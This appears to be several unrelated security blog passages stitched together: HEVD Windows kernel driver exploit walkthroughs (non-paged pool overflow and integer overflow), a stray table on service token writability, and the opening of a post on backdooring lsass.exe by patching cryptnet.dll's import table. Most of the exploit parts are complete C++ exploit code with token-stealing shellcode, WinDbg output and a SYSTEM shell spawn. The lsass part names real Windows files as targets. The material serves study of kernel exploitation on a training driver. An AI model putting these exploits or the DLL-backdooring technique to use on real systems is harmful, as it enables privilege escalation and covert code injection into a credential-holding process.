ULONG payload_len = 0x1F8;
LPVOID input_buff = VirtualAlloc(NULL,
payload_len + 0x1,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
memset(input_buff, '\x42', payload_len);
cout << "[>] Sending buffer size of: " << dec << payload_len << "\n";
DWORD bytes_ret = 0;
int result = DeviceIoControl(hFile,
IOCTL,
input_buff,
payload_len,
NULL,
0,
&bytes_ret,
NULL);
if (!result) {
cout << "[!] DeviceIoControl failed!\n";
}
}
int main() {
HANDLE hFile = grab_handle();
spray_pool();
send_payload(hFile);
return 0;
}
After running it and looking up our post memcpy
kernel buffer with the !pool
command, we see that our 0x200
byte object was allocated precisely between two Event Objects! Everything is working as planned!
kd> !pool 862740c8
Pool page 862740c8 region is Nonpaged pool
86274000 size: 40 previous size: 0 (Allocated) Even (Protected)
86274040 size: 40 previous size: 40 (Allocated) Even (Protected)
86274080 size: 40 previous size: 40 (Allocated) Even (Protected)
*862740c0 size: 200 previous size: 40 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
862742c0 size: 40 previous size: 200 (Allocated) Even (Protected)
86274300 size: 40 previous size: 40 (Allocated) Even (Protected)
86274340 size: 40 previous size: 40 (Allocated) Even (Protected)
86274380 size: 40 previous size: 40 (Allocated) Even (Protected)
862743c0 size: 40 previous size: 40 (Allocated) Even (Protected)
86274400 size: 40 previous size: 40 (Allocated) Even (Protected)
86274440 size: 40 previous size: 40 (Allocated) Even (Protected)
86274480 size: 40 previous size: 40 (Allocated) Even (Protected)
862744c0 size: 40 previous size: 40 (Allocated) Even (Protected)
86274500 size: 40 previous size: 40 (Allocated) Even (Protected)
86274540 size: 40 previous size: 40 (Allocated) Even (Protected)
86274580 size: 40 previous size: 40 (Allocated) Even (Protected)
862745c0 size: 40 previous size: 40 (Allocated) Even (Protected)
86274600 size: 40 previous size: 40 (Allocated) Even (Protected)
86274640 size: 200 previous size: 40 (Free) Even
86274840 size: 40 previous size: 200 (Allocated) Even (Protected)
86274880 size: 40 previous size: 40 (Allocated) Even (Protected)
862748c0 size: 40 previous size: 40 (Allocated) Even (Protected)
86274900 size: 40 previous size: 40 (Allocated) Even (Protected)
86274940 size: 40 previous size: 40 (Allocated) Even (Protected)
86274980 size: 40 previous size: 40 (Allocated) Even (Protected)
862749c0 size: 40 previous size: 40 (Allocated) Even (Protected)
86274a00 size: 40 previous size: 40 (Allocated) Even (Protected)
86274a40 size: 40 previous size: 40 (Allocated) Even (Protected)
86274a80 size: 40 previous size: 40 (Allocated) Even (Protected)
86274ac0 size: 40 previous size: 40 (Allocated) Even (Protected)
86274b00 size: 40 previous size: 40 (Allocated) Even (Protected)
86274b40 size: 40 previous size: 40 (Allocated) Even (Protected)
86274b80 size: 40 previous size: 40 (Allocated) Even (Protected)
86274bc0 size: 200 previous size: 40 (Free) Even
86274dc0 size: 40 previous size: 200 (Allocated) Even (Protected)
86274e00 size: 40 previous size: 40 (Allocated) Even (Protected)
86274e40 size: 40 previous size: 40 (Allocated) Even (Protected)
86274e80 size: 40 previous size: 40 (Allocated) Even (Protected)
86274ec0 size: 40 previous size: 40 (Allocated) Even (Protected)
86274f00 size: 40 previous size: 40 (Allocated) Even (Protected)
86274f40 size: 40 previous size: 40 (Allocated) Even (Protected)
86274f80 size: 40 previous size: 40 (Allocated) Even (Protected)
86274fc0 size: 40 previous size: 40 (Allocated) Even (Protected)
Now that we can control the pool to a predictable degree, it’s time to overwrite that type index and change it from 0xc
to 0x0
. Everything else in between our 0x200
allocation and this byte need to remain the same or we’ll get a BSOD.
Let’s just use the dd
command to dump 32 DWORD
values from the beginning of the Event Objects right after our kernel buffer real quick.
repaste in here the memory pane view of an Event Object, and you can see how I formulate the input buff in the exploit code.
kd> dd 8627e780
8627e780 04080040 ee657645 00000000 00000040
8627e790 00000000 00000000 00000001 00000001
8627e7a0 00000000 0008000c 8637f940 00000000
----SNIP----
Right. So we need to keep everything but the starred 0xc
intact and overwrite this single byte with 0x0
. Looks like we’re overwriting 40 bytes in total or 0x28
, which gives us an input buffer size of 0x220
. We’ll make an overwrite_payload
variable that is a byte buffer and well copy it into the last 0x28
bytes of a 0x220
sized buffer with our original \x42
values taking up the first 0x1F8
bytes as follows:
ULONG payload_len = 0x220;
BYTE* input_buff = (BYTE*)VirtualAlloc(NULL,
payload_len + 0x1,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
BYTE overwrite_payload[] = (
"\x40\x00\x08\x04" // pool header
"\x45\x76\x65\xee" // pool tag
"\x00\x00\x00\x00" // obj header quota begin
"\x40\x00\x00\x00"
"\x00\x00\x00\x00"
"\x00\x00\x00\x00" // obj header quota end
"\x01\x00\x00\x00" // obj header begin
"\x01\x00\x00\x00"
"\x00\x00\x00\x00"
"\x00\x00\x08\x00" // 0xc converted to 0x0
);
memset(input_buff, '\x42', 0x1F8);
memcpy(input_buff + 0x1F8, overwrite_payload, 0x28)
We’ll also want to allocate the NULL page which I pulled directly from tekwizzz123.
void allocate_shellcode() {
_NtAllocateVirtualMemory NtAllocateVirtualMemory =
(_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtAllocateVirtualMemory");
INT64 address = 0x1;
int size = 0x100;
HANDLE result = (HANDLE)NtAllocateVirtualMemory(
GetCurrentProcess(),
(PVOID*)&address,
NULL,
(PSIZE_T)&size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (result == INVALID_HANDLE_VALUE) {
cout << "[!] Unable to allocate NULL page...wtf?\n";
cout << "[!] Last error: " << dec << GetLastError() << "\n";
exit(1);
}
cout << "[>] NULL page mapped.\n";
cout << "[>] Putting 'AAAA' on NULL page...\n";
memset((void*)0x0, '\x41', 0x100);
}
I’ll also fill the NULL page with pure \x41
values so that we should run this code and get an Access Violation exception with an eip
value of 41414141
.
Last but not least, we have to free our chunks so that the CloseProcedure
is activated!
void free_chunks() {
cout << "[>] Freeing defragmentation allocations...\n";
for (int i = 0; i < defragment_handles.size(); i++) {
BOOL freed = CloseHandle(defragment_handles[i]);
if (freed == false) {
cout << "[!] Unable to free defragment allocation!\n";
cout << "[!] Last error: " << GetLastError() << "\n";
exit(1);
}
}
cout << "[>] Defragmentation allocations freed.\n";
cout << "[>] Freeing sequential allocations...\n";
for (int i = 0; i < sequential_handles.size(); i++) {
BOOL freed = CloseHandle(sequential_handles[i]);
if (freed == false) {
cout << "[!] Unable to free defragment allocation!\n";
cout << "[!] Last error: " << GetLastError() << "\n";
exit(1);
}
}
cout << "[>] Sequential allocations freed.\n";
}
We run this code and what happens??
Access violation - code c0000005 (!!! second chance !!!)
41414141 ?? ???
We did it!!
You can examine the pool allocations too. Look at pool allocation right after our kernel buffer. We’ve replaced 0xc
with 0x0
and you can see how it differs from the next Event Object as I’ve marked them with asteriks.
855b8af8 42 42 42 42 42 42 42 42 40 00 08 04 45 76 65 ee [email protected].
855b8b08 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 ....@...........
855b8b18 01 00 00 00 01 00 00 00 00 00 00 00 *00* 00 08 00 ................
855b8b28 80 82 14 85 00 00 00 00 01 00 04 00 00 00 00 00 ................
855b8b38 38 8b 5b 85 38 8b 5b 85 08 00 08 04 45 76 65 ee 8.[.8.[.....Eve.
855b8b48 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 ....@...........
855b8b58 01 00 00 00 01 00 00 00 00 00 00 00 *0c* 00 08 00 ................
Now let’s just allocate some shellcode there…
We’re going to first use our shellcode from our Uninit Stack Variable exploit and see how far that gets us:
char Shellcode[] = (
"\x60"
"\x64\xA1\x24\x01\x00\x00"
"\x8B\x40\x50"
"\x89\xC1"
"\x8B\x98\xF8\x00\x00\x00"
"\xBA\x04\x00\x00\x00"
"\x8B\x80\xB8\x00\x00\x00"
"\x2D\xB8\x00\x00\x00"
"\x39\x90\xB4\x00\x00\x00"
"\x75\xED"
"\x8B\x90\xF8\x00\x00\x00"
"\x89\x91\xF8\x00\x00\x00"
"\x61"
"\xC3"
);
These are my breakpoints right now:
kd> bp !HEVD+4D64
kd> ba r1 0x60
kd> bl
0 e 8c295d64 0001 (0001) HEVD!TriggerNonPagedPoolOverflow+0xe6
1 e 00000060 r 1 0001 (0001)
Here is the disassembly pane after we hit our access breakpoint a few times (remember that that address will be accessed multiple times during our exploit). You can see we’re calling a function located at edi
+ 0x60
when edi
is set to 0
. So, this is our shellcode we’re about to run:
Here is the call stack:
We can see in the memory pane that we’re pushing 4 DWORDs onto the stack setting up our call to dword ptr [esp+0x60]
which we would need to clean up in our subroutine (shellcode). So our shellcode will end with a ret 0x10
instruction to compensate.
Getting an nt authority/system shell »>
Full exploit code: here
That was a really fun one. Thanks again to the aforementioned authors and exploit writers. Even though this exploit vector involved some relatively old techniques, it was still fun for me and I learned a lot just about memory management in general and got some more experience in WinDBG. Until next time!
Continuing on with my goal to develop exploits for the Hacksys Extreme Vulnerable Driver. I will be using HEVD 2.0. There are a ton of good blog posts out there walking through various HEVD exploits. I recommend you read them all! I referenced them heavily as I tried to complete these exploits. Almost nothing I do or say in this blog will be new or my own thoughts/ideas/techniques. There were instances where I diverged from any strategies I saw employed in the blogposts out of necessity or me trying to do my own thing to learn more.
This series will be light on tangential information such as:
The reason for this is simple, the other blog posts do a much better job detailing this information than I could ever hope to. It feels silly writing this blog series in the first place knowing that there are far superior posts out there; I will not make it even more silly by shoddily explaining these things at a high-level in poorer fashion than those aforementioned posts. Those authors have way more experience than I do and far superior knowledge, I will let them do the explaining. :)
This post/series will instead focus on my experience trying to craft the actual exploits.
Thanks to @tekwizz123, I used his method of setting up the exploit buffer for the most part as the Windows macros I was using weren’t working (obviously user error.)
This was a really interesting bug to me. Generically, the bug is when you have some arithmetic in your code that allows for unintended behavior. The bug in question here involved incrementing a DWORD
value that was set 0xFFFFFFFF
which overflows the integer size and wraps the value around back to 0x00000000
. If you add 0x4
to 0xFFFFFFFF
, you get 0x100000003
. However, this value is now over 8 bytes in length, so we lose the leading 1
and we’re back down to 0x00000003
. Here is a small demo program:
#include <iostream>
#include <Windows.h>
int main() {
DWORD var1 = 0xFFFFFFFF;
DWORD var2 = var1 + 0x4;
std::cout << ">> Variable One is: " << std::hex << var1 << "\n";
std::cout << ">> Variable Two is: " << std::hex << var2 << "\n";
}
Here is the output:
>> Variable One is: ffffffff
>> Variable Two is: 3
I actually learned about this concept from Gynvael Coldwind’s stream on fuzzing. I also found the bug in my own code for an exploit on a real vulnerability I will hopefully be doing a write-up for soon (when the CVE gets published.) Now that we know how the bug occurs, let’s go find the bug in the driver in IDA and figure out how we can take advantage.
With the benefit of the comments I made in IDA, we can kind of see how this works. I’ve annotated where everything is after stepping through in WinDBG.
The first thing we notice here is that ebx
gets loaded with the length of our input buffer in DeviceIoControl
when we do this operation here: move ebx, [ebp+Size]
. This is kind of obvious, but I hadn’t really given it much thought before. We allocate an input buffer in our code, usually its a character or byte array, and then we usually satisfy the DWORD nInBufferSize
parameter by doing something like sizeof(input_buffer)
or sizeof(input_buffer) - 1
because we actually want it to be accurate. Later, we might actually lie a little bit here.
Now that ebx
is the length of our input buffer, we see that it gets +4
added to it and then loaded into to eax
. If we had an input buffer of 0x7FC
, adding 0x4
to it would make it 0x800
. A really important thing to note here is that we’ve essentially created a new length variable in eax
and kept our old one in ebx
intact. In this case, eax
would be 0x800
and ebx
would still hold 0x7FC
.
Next, eax
is compared to esi
which we can see holds 0x800
. If the eax
is equal to or more than 0x800
, we can see that take the red path down to the Invalid UserBuffer Size
debug message. We don’t want that. We need to satisfy this jbe
condition.
If we satisfy the jbe
condition, we branch down to loc_149A5
. We put our buffer length from ebx
into eax
and then we effectively divide it by 4 since we do a bit shift right of 2. We compare this to quotient to edi
which was zeroed out previously and has remained up until now unchanged. If length/4 quotient is the same or more than the counter, we move to loc_149F1
where we will end up exiting the function soon after. Right now, since our length is more than edi
, we’ll jump to mov eax, [ebp+8]
.
This series of operations is actually the interesting part. eax
is given a pointer to our input buffer and we compare the value there with 0BAD0B0B0
. If they are the same value, we move towards exiting the function. So, so far we have identified two conditions where we’ll exit the function: if edi
is ever equal to or more than the length of our input buffer divided by 4 OR if the 4 byte value located at [ebp+8]
is equal to 0BAD0B0B0
.
Let’s move on to the final puzzle piece. mov [ebp+edi*4+KernelBuffer], eax
is kind of convoluted looking but what it’s doing is placing the 4 byte value in eax
into the kernel buffer at index edi * 0x4
. Right now, edi
is 0, so it’s placing the 4 byte value right at the beginning of the kernel buffer. After this, the dword ptr
value at ebp+8
is incremented by 0x4
. This is interesting because we already know that ebp+0x8
is where the pointer is to our input buffer. So now that we’ve placed the first four bytes from our input buffer into the kernel buffer, we move now to the next 4 bytes. We see also that edi
incremented and we now understand what is taking place.
As long as:
< 0x800
,Counter
variable (edi
) is <
the length of our buffer divided by 4,eax
is not 0BAD0B0B0
,we will copy 4 bytes of our input buffer into the kernel buffer and then move onto the next 4 bytes in the input buffer to test criteria 2 and 3 again.
There can’t really be a problem with copying bytes from the user buffer into the kernel buffer unless somehow the copying exceeds the space allocated in the kernel buffer. If that occurs, we’ll begin overwriting adjacent memory with our user buffer. How can we fool this length + 0x4
check?
DWORD nInBufferSize
First we’ll send a vanilla payload to test our theories up to this point. Let’s start by sending a buffer full of all \x41
chars and it will be a length of 0x750
(null-terminated). We’ll use the sizeof() - 1
method to form our nInBufferSize
parameter and account for the null terminator as well so that everything is accurate and consistent. Our code will look like this at this point:
#include <iostream>
#include <string>
#include <iomanip>
#include <Windows.h>
using namespace std;
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL 0x222027
HANDLE get_handle() {
HANDLE hFile = CreateFileA(DEVICE_NAME,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE) {
cout << "[!] No handle to HackSysExtremeVulnerableDriver.\n";
exit(1);
}
cout << "[>] Handle to HackSysExtremeVulnerableDriver: " << hex << hFile
<< "\n";
return hFile;
}
void send_payload(HANDLE hFile) {
BYTE input_buff[0x751] = { 0 };
// 'A' * 1871
memset(
input_buff,
'\x41',
0x750);
cout << "[>] Sending buffer of size: " << sizeof(input_buff) - 1 << "\n";
DWORD bytes_ret = 0x0;
int result = DeviceIoControl(hFile,
IOCTL,
&input_buff,
sizeof(input_buff) - 1,
NULL,
0,
&bytes_ret,
NULL);
if (!result) {
cout << "[!] Payload failed.\n";
}
}
int main()
{
HANDLE hFile = get_handle();
send_payload(hFile);
}
What are our predictions for this code? What conditions will we hit? The criteria for copying bytes from user buffer to kernel buffer was:
< 0x800
,Counter
variable (edi
) is <
the length of our buffer divided by 4,eax
is not 0BAD0B0B0
We should pass the first check since our buffer is indeed small enough. This second check will eventually make us exit the function since our length divided by 4, will eventually be caught by the Counter
as it increments every 4 byte copy. We don’t have to worry about the third check as we don’t have this string in our payload. Let’s send it and step through it in WinDBG.
This picture helps us a lot. I’ve set a breakpoint on the comparison between the length of our buffer + 4 and 0x800
. As you can see, eax
holds 0x754
which is what we would expect since we sent a 0x750
byte buffer.
In the bottom right, we our user buffer was allocated at 0x0012f184
. Let’s set a break on access at 0x0012f8d0
since that is 0x74c
away from where we are now, which is 0x4
short of 0x750
. If this 4 byte address is accessed for a read-operation we should hit our breakpoint. This will occur when the program goes to copy the 4 byte value here to the kernel buffer.
The syntax is ba r1 0x0012f8d0
which means “break on access if there is a read of at least 1 byte at that address.”
We resume from here, we hit our breakpoint.
Take a look at edi
, we can see our counter has incremented 0x1d3
times at this point, which is very close to the length of our buffer (0x750
) divided by 0x4
(0x1d4
). We can see that right now, we’re doing a comparison on the 4 byte value at this address to ecx
or bad0b0b0
. We won’t hit that criteria but on the next iteration, our counter will be ==
to 0x1d4
and thus, we will be finished copying bytes into the kernel buffer. Everything worked as expected. Now let’s send a fake DWORD nInBufferSize
value of 0xFFFFFFFF
and watch us sail right through length check and see what else we bypass.
Our DeviceIoControl
call now looks like this:
int result = DeviceIoControl(hFile,
IOCTL,
&input_buff,
ULONG_MAX,
NULL,
0,
&bytes_ret,
NULL);
When we hit a breakpoint at the point where we see eax
being loaded with our user buffer length + 0x4
, we see that right before the arithmetic, we are at a length of 0xffffffff
in ebx
.
Then after the operation, we see eax
rolls over to 0x3
.
So we will pass the length check now for sure, which we saw coming, the other really interesting thing that we took note of previously but can see playing out here is that ebx
has been left undisturbed and is at 0xffffffff
still. This is the register used in the arithmetic to determine whether or not the Counter
should keep iterating or not. This value is eventually loaded into eax
and divided by 4!. 0xfffffffff
divided by 4 will likely never cause us to exit the function. We will keep copying bytes from the user buffer to the kernel buffer basically forever now.
THIS IS NOT GOOD
Overwriting arbitrary memory in the kernel space is dangerous business. We can’t corrupt anything more than we absolutely have to. We need a way to terminate the copying function. In comes the terminator string of 0BAD0B0B0
to the rescue. If the 4 byte value in the user buffer is 0BAD0B0B0
, we cease copying and exit the function. Obviously we BSOD here.
So hopefully, we can copy 0x800
bytes, and then start overwriting kernel memory on the stack where we can strategically place a pointer to shellcode. Like I said previously, you don’t want a huge overwrite here. I started at 0x800
and worked my way up 4 bytes at a time using a little pattern creating tool I made here until I got a crash.
Incrementing 4 bytes at a time I finally got a crash with a 0x830
buffer length where the last 4 bytes are 0BAD0B0B0
.
After incrementing methodically from a buffer size of 0x800
, and remember that this includes a 4 byte terminator string or else we’ll never stop copying into kernel space and BSOD the host, I finally got an exception that tried to execute code at 41414141
with a total buffer size of 0x830
. (I also got an exception when I used a smaller buffer size of 0x82C
but the address referenced was a NULL). In this buffer, I had 0x82C
\x41
chars and then our terminator. So I figured our offset was going to be at 0x828
or 2088 in decimal, but just to make sure I used my pattern python script to get the exact offset.
root@kali:~# python3 pattern.py -c 2092 -cpp
char pattern[] =
"0Aa0Ab0Ac0Ad0Ae0Af0Ag0Ah0Ai0Aj0Ak0Al0Am0An0Ao0Ap0Aq0Ar0As0At0Au0Av0Aw0Ax0Ay0Az"
"0A00A10A20A30A40A50A60A70A80A90AA0AB0AC0AD0AE0AF0AG0AH0AI0AJ0AK0AL0AM0AN0AO0AP"
"0AQ0AR0AS0AT0AU0AV0AW0AX0AY0AZ0Ba0Bb0Bc0Bd0Be0Bf0Bg0Bh0Bi0Bj0Bk0Bl0Bm0Bn0Bo0Bp"
"0Bq0Br0Bs0Bt0Bu0Bv0Bw0Bx0By0Bz0B00B10B20B30B40B50B60B70B80B90BA0BB0BC0BD0BE0BF"
"0BG0BH0BI0BJ0BK0BL0BM0BN0BO0BP0BQ0BR0BS0BT0BU0BV0BW0BX0BY0BZ0Ca0Cb0Cc0Cd0Ce0Cf"
"0Cg0Ch0Ci0Cj0Ck0Cl0Cm0Cn0Co0Cp0Cq0Cr0Cs0Ct0Cu0Cv0Cw0Cx0Cy0Cz0C00C10C20C30C40C5"
"0C60C70C80C90CA0CB0CC0CD0CE0CF0CG0CH0CI0CJ0CK0CL0CM0CN0CO0CP0CQ0CR0CS0CT0CU0CV"
"0CW0CX0CY0CZ0Da0Db0Dc0Dd0De0Df0Dg0Dh0Di0Dj0Dk0Dl0Dm0Dn0Do0Dp0Dq0Dr0Ds0Dt0Du0Dv"
"0Dw0Dx0Dy0Dz0D00D10D20D30D40D50D60D70D80D90DA0DB0DC0DD0DE0DF0DG0DH0DI0DJ0DK0DL"
"0DM0DN0DO0DP0DQ0DR0DS0DT0DU0DV0DW0DX0DY0DZ0Ea0Eb0Ec0Ed0Ee0Ef0Eg0Eh0Ei0Ej0Ek0El"
"0Em0En0Eo0Ep0Eq0Er0Es0Et0Eu0Ev0Ew0Ex0Ey0Ez0E00E10E20E30E40E50E60E70E80E90EA0EB"
"0EC0ED0EE0EF0EG0EH0EI0EJ0EK0EL0EM0EN0EO0EP0EQ0ER0ES0ET0EU0EV0EW0EX0EY0EZ0Fa0Fb"
"0Fc0Fd0Fe0Ff0Fg0Fh0Fi0Fj0Fk0Fl0Fm0Fn0Fo0Fp0Fq0Fr0Fs0Ft0Fu0Fv0Fw0Fx0Fy0Fz0F00F1"
"0F20F30F40F50F60F70F80F90FA0FB0FC0FD0FE0FF0FG0FH0FI0FJ0FK0FL0FM0FN0FO0FP0FQ0FR"
"0FS0FT0FU0FV0FW0FX0FY0FZ0Ga0Gb0Gc0Gd0Ge0Gf0Gg0Gh0Gi0Gj0Gk0Gl0Gm0Gn0Go0Gp0Gq0Gr"
"0Gs0Gt0Gu0Gv0Gw0Gx0Gy0Gz0G00G10G20G30G40G50G60G70G80G90GA0GB0GC0GD0GE0GF0GG0GH"
"0GI0GJ0GK0GL0GM0GN0GO0GP0GQ0GR0GS0GT0GU0GV0GW0GX0GY0GZ0Ha0Hb0Hc0Hd0He0Hf0Hg0Hh"
"0Hi0Hj0Hk0Hl0Hm0Hn0Ho0Hp0Hq0Hr0Hs0Ht0Hu0Hv0Hw0Hx0Hy0Hz0H00H10H20H30H40H50H60H7"
"0H80H90HA0HB0HC0HD0HE0HF0HG0HH0HI0HJ0HK0HL0HM0HN0HO0HP0HQ0HR0HS0HT0HU0HV0HW0HX"
"0HY0HZ0Ia0Ib0Ic0Id0Ie0If0Ig0Ih0Ii0Ij0Ik0Il0Im0In0Io0Ip0Iq0Ir0Is0It0Iu0Iv0Iw0Ix"
"0Iy0Iz0I00I10I20I30I40I50I60I70I80I90IA0IB0IC0ID0IE0IF0IG0IH0II0IJ0IK0IL0IM0IN"
"0IO0IP0IQ0IR0IS0IT0IU0IV0IW0IX0IY0IZ0Ja0Jb0Jc0Jd0Je0Jf0Jg0Jh0Ji0Jj0Jk0Jl0Jm0Jn"
"0Jo0Jp0Jq0Jr0Js0Jt0Ju0Jv0Jw0Jx0Jy0Jz0J00J10J20J30J40J50J60J70J80J90JA0JB0JC0JD"
"0JE0JF0JG0JH0JI0JJ0JK0JL0JM0JN0JO0JP0JQ0JR0JS0JT0JU0JV0JW0JX0JY0JZ0Ka0Kb0Kc0Kd"
"0Ke0Kf0Kg0Kh0Ki0Kj0Kk0Kl0Km0Kn0Ko0Kp0Kq0Kr0Ks0Kt0Ku0Kv0Kw0Kx0Ky0Kz0K00K10K20K3"
"0K40K50K60K70K80K90KA0KB0KC0KD0KE0KF0KG0KH0KI0KJ0KK0KL0KM0KN0KO0KP0KQ0KR0KS0KT"
"0KU0KV0KW0KX0KY0KZ0La0Lb0Lc0Ld0Le0Lf0Lg0Lh0Li0Lj0Lk0Ll0Lm0Ln0Lo0";
I then added the terminator to the end like so.
---SNIP---
...Lm0Ln0Lo0\xb0\xb0\xd0\xba";
And we see I got an access violation at 306f4c30
.
Using pattern again, I got the exact offset and we confirmed our suspicions.
root@kali:~# python3 pattern.py -o 306f4c30
Exact offset found at position: 2088
From here on out, this plays out just like stack buffer overflow post, so please reference those posts if you have any questions! We initialize our shellcode, create a RWX buffer for it, move it there, and then use the address of the buffer to overwrite eip
at that offset we found.
#include <iostream>
#include <string>
#include <iomanip>
#include <Windows.h>
using namespace std;
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL 0x222027
HANDLE get_handle() {
HANDLE hFile = CreateFileA(DEVICE_NAME,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE) {
cout << "[!] No handle to HackSysExtremeVulnerableDriver.\n";
exit(1);
}
cout << "[>] Handle to HackSysExtremeVulnerableDriver: " << hex << hFile
<< "\n";
return hFile;
}
void send_payload(HANDLE hFile) {
char shellcode[] = (
"\x60"
"\x64\xA1\x24\x01\x00\x00"
"\x8B\x40\x50"
"\x89\xC1"
"\x8B\x98\xF8\x00\x00\x00"
"\xBA\x04\x00\x00\x00"
"\x8B\x80\xB8\x00\x00\x00"
"\x2D\xB8\x00\x00\x00"
"\x39\x90\xB4\x00\x00\x00"
"\x75\xED"
"\x8B\x90\xF8\x00\x00\x00"
"\x89\x91\xF8\x00\x00\x00"
"\x61"
"\x5d"
"\xc2\x08\x00"
);
LPVOID shellcode_address = VirtualAlloc(NULL,
sizeof(shellcode),
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
memcpy(shellcode_address, shellcode, sizeof(shellcode));
cout << "[>] RWX shellcode allocated at: " << hex << shellcode_address
<< "\n";
BYTE input_buff[0x830] = { 0 };
// 'A' * 0x828
memset(input_buff, '\x41', 0x828);
memcpy(input_buff + 0x828, &shellcode_address, 0x4);
BYTE terminator[] = "\xb0\xb0\xd0\xba";
memcpy(input_buff + 0x82c, &terminator, 0x4);
cout << "[>] Sending buffer of size: " << sizeof(input_buff) << "\n";
DWORD bytes_ret = 0x0;
int result = DeviceIoControl(hFile,
IOCTL,
&input_buff,
ULONG_MAX,
NULL,
0,
&bytes_ret,
NULL);
if (!result) {
cout << "[!] Payload failed.\n";
}
}
void spawn_shell()
{
PROCESS_INFORMATION Process_Info;
ZeroMemory(&Process_Info,
sizeof(Process_Info));
STARTUPINFOA Startup_Info;
ZeroMemory(&Startup_Info,
sizeof(Startup_Info));
Startup_Info.cb = sizeof(Startup_Info);
CreateProcessA("C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
NULL,
0,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&Startup_Info,
&Process_Info);
}
int main()
{
HANDLE hFile = get_handle();
send_payload(hFile);
spawn_shell();
}
This should net you a system shell.
"Under Windows Service Hardening one service without impersonate privilege can't write to the resources of another service which does have the privilege, even if the same user, preventing full system compromise."
Token | Writable | Writable (WR) | Total |
Control | 99.83% | N/A | 13171 |
Network Service | 65.00% | 0.00% | 300 |
Local Service | 62.89% | 0.70% | 574 |
Type | LS Writable% | LS Writable | NS Writable% | NS Writable |
Directory | 0.28% | 1 | 0.51% | 1 |
Event | 1.66% | 6 | 0.51% | 1 |
File | 74.24% | 268 | 48.72% | 95 |
Key | 22.44% | 81 | 49.23% | 96 |
Mutant | 0.28% | 1 | 0.51% | 1 |
Process | 0.28% | 1 | 0.00% | 0 |
Section | 0.55% | 2 | 0.00% | 0 |
SymbolicLink | 0.28% | 1 | 0.51% | 1 |
Thread | 0.00% | 0 | 0.00% | 0 |
In this post I describe a simple trick I came up with recently - something which is definitely nothing new, but as I found it useful and haven't seen it elsewhere, I decided to write it up.
So - let's consider backdooring a Windows executable with our own code by modifying its binary file OR one of its dependencies (so we are not talking about runtime code injection techniques or hooking, neither about abusing known persistence features like AppInit DLLs and the like).
Most of us are familiar with execution flow hijacking combined with:
We probably heard of IAT hooking (in-memory), but how about on-disk?
Both EXE and DLL files make use of a PE structure called Import Table, which is basically a list of external functions (usually just WinAPI) the program is using, along with the names of the DLL files they are located in. This list can be easily reviewed with any PE analysis/editing tool like LordPE, PEView, PEStudio, PEBear and so on:
These are the runtime dependencies resolved by the Windows PE loader upon image execution, making the new process call LoadLibrary() on each of those DLL files. Then the relevant entries for each individual function are replaced with with its current address within the just-loaded library (the GetProcAddress() lookup) - this is the normal and usual way of having this done, taken care by the linker during build and then by the Windows loader using the Import Table.
I need to mention that the process can as well be performed directly by the program (instead of using the Import Table), by calling both LoadLibrary() and then GetProcAddress(), respectively from its own code at some point (everyone who wrote a windows shellcode knows this :D). This second way of loading DLLs and calling functions from them is sometimes referred to as dynamic linking (e.g. required for calling native APIs) and in many cases is a suspicious indicator (often seen in malicious software).
Anyway, let's focus on the Import Table and how we can abuse it.
WARNING: Please avoid experimenting with this on a production system before you develop and test a working PoC, especially when dealing with native Windows DLLs (you could break your system, you've been warned). Do it on a VM after making a backup snapshot first.
So, without any further ado, let's say that for some reason (🤭) we would like to inject our code into lsass.exe.
Let's start with having a procmon look to see what DLLs does lsass.exe load:
Now, we are going to slightly modify one of these DLLs.
When choosing, preferably we should go after one that is not signed (as we want to chose one with high chances of being loaded after our modification).
But in this case, to my knowledge, they are all signed (some with embedded signatures - with the Digital Signatures tab visible in the explorer properties of the file, others signed in the C:\Windows\System32\catroot\).
The execution policy on this system, however, is unrestricted... oh wait, that's what I thought up until finishing up this write up, but then for diligence, I decided to actually make a screenshot (after seeing it I was surprised it worked, please feel free to try this at home):
ANYWAY - WE WANT to see what happens OURSELVES - instead of making self-limiting assumptions, so we won't let the presence of the signature deteriorate us. Also, in case system decides that integrity is more critical than availability and decides to break, we have a snapshot of the PoC development VM.
The second factor worth considering when choosing the target DLL is the presence of an Import Table entry we would feel convenient replacing (will become self-explanatory).
So, let's choose C:\Windows\System32\cryptnet.dll (sha256: 723563F8BB4D7FAFF5C1B202902866F8A0982B14E09E5E636EBAF2FA9B9100FE):
Now, let's view its Import Table and see if there is an import entry, which is most likely not used - at least during normal operations. Therefore such an entry is the most safe to replace (I guess now you see where this is going). We could as well ADD an import table entry, but this is a bit more difficult, introduces more changes into the target DLL and is beyond this particular blog post.
Here we go:
api-ms-win-core-debug-l1-1-0.dll with its OutputDebugStringA is a perfect candidate.
As Import Tables contain only one reference to each particular DLL name, all relevant functions listed in the Import Table simply refer to such DLL name within the table.
Hence, if we replace a DLL that has multiple function entries in the Import Table, we would have multiple functions to either proxy or lose functionality and risk breaking something (depending on how lazy we are).
Thus, a DLL from which only one function is imported is a good candidate. If the DLL+function is a dependency that has most likely already been resolved by the original executable before it loaded the DLL we are modifying, it's even better. If it is a function that is most likely not to be called during normal operations (like debugging-related functions), it's perfect.
Now, let's work on a copy of the target DLL and apply a super l33t offensive binary hacking technique - hex editor. First, let's find the DLL name (we simply won't care about the Import Table structure):
Got it, looks good:
Now, our slight modification:
